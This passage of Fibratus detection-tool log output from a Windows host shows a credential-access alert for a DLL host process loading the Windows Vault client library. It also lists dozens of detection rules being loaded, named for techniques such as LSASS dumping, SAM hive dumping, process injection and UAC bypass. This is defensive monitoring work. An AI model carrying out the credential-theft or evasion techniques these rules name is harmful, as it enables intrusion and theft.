Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T15:35:41+01:00 level=info msg=sending alert: [Suspicious Vault client DLL load]. Text: Suspicious process C:\WINDOWS\system32\DllHost.exe loaded the Credential Vault Client DLL for potential credentials harvesting + Event(s): + Seq: 9290288 + Pid: 1224 + Tid: 1392 + Type: CreateProcess + CPU: 4 + Name: CreateProcess + Category: process + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:35:35.7135404 +0100 CET + Params: cmdline➜ C:\WINDOWS\system32\DllHost.exe /Processid:{BD54C901-076B-434E-B6C7-17C531F4AB41}, directory_table_base➜ 64daa000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\DllHost.exe, exit_status➜ Success, flags➜ , kproc➜ ffff978f6e4ed0c0, name➜ dllhost.exe, pid➜ 5744, ppid➜ 1224, real_ppid➜ 1224, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-05 15:35:35.7134524 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.id: TA0006, technique.id: T1555, rule.seq.link: 12619086405000232960, rule.name: Suspicious Vault client DLL load, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, tactic.name: Credential Access, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 1224 + Ppid: 1028 + Name: svchost.exe + Parent name: services.exe + Cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Parent cmdline: C:\WINDOWS\system32\services.exe + Exe: C:\WINDOWS\system32\svchost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + + Seq: 9303161 + Pid: 5744 + Tid: 12564 + Type: LoadImage + CPU: 0 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:35:36.6635944 +0100 CET + Params: base_address➜ 7ffcb5f70000, checksum➜ 356647, default_address➜ 7ffcb5f70000, file_path➜ C:\Windows\System32\vaultcli.dll, image_size➜ 323584, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 5744, signature_level➜ AUTHENTICODE, signature_type➜ CATALOG_CACHED + Metadata: rule.seq.link: 12619086405000232960, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.name: Credential Access, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.name: Credentials from Password Stores, rule.name: Suspicious Vault client DLL load, subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager, tactic.ref: https://attack.mitre.org/tactics/TA0006/, tactic.id: TA0006, technique.id: T1555 + + Pid: 5744 + Ppid: 1224 + Name: dllhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\DllHost.exe /Processid:{BD54C901-076B-434E-B6C7-17C531F4AB41} + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\DllHost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\DllHost.exe /Processid:{BD54C901-076B-434E-B6C7-17C531F4AB41}] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T15:36:15+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T15:36:15+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:36:16+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:36:47+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:36:47+01:00 level=info msg=loading rule from 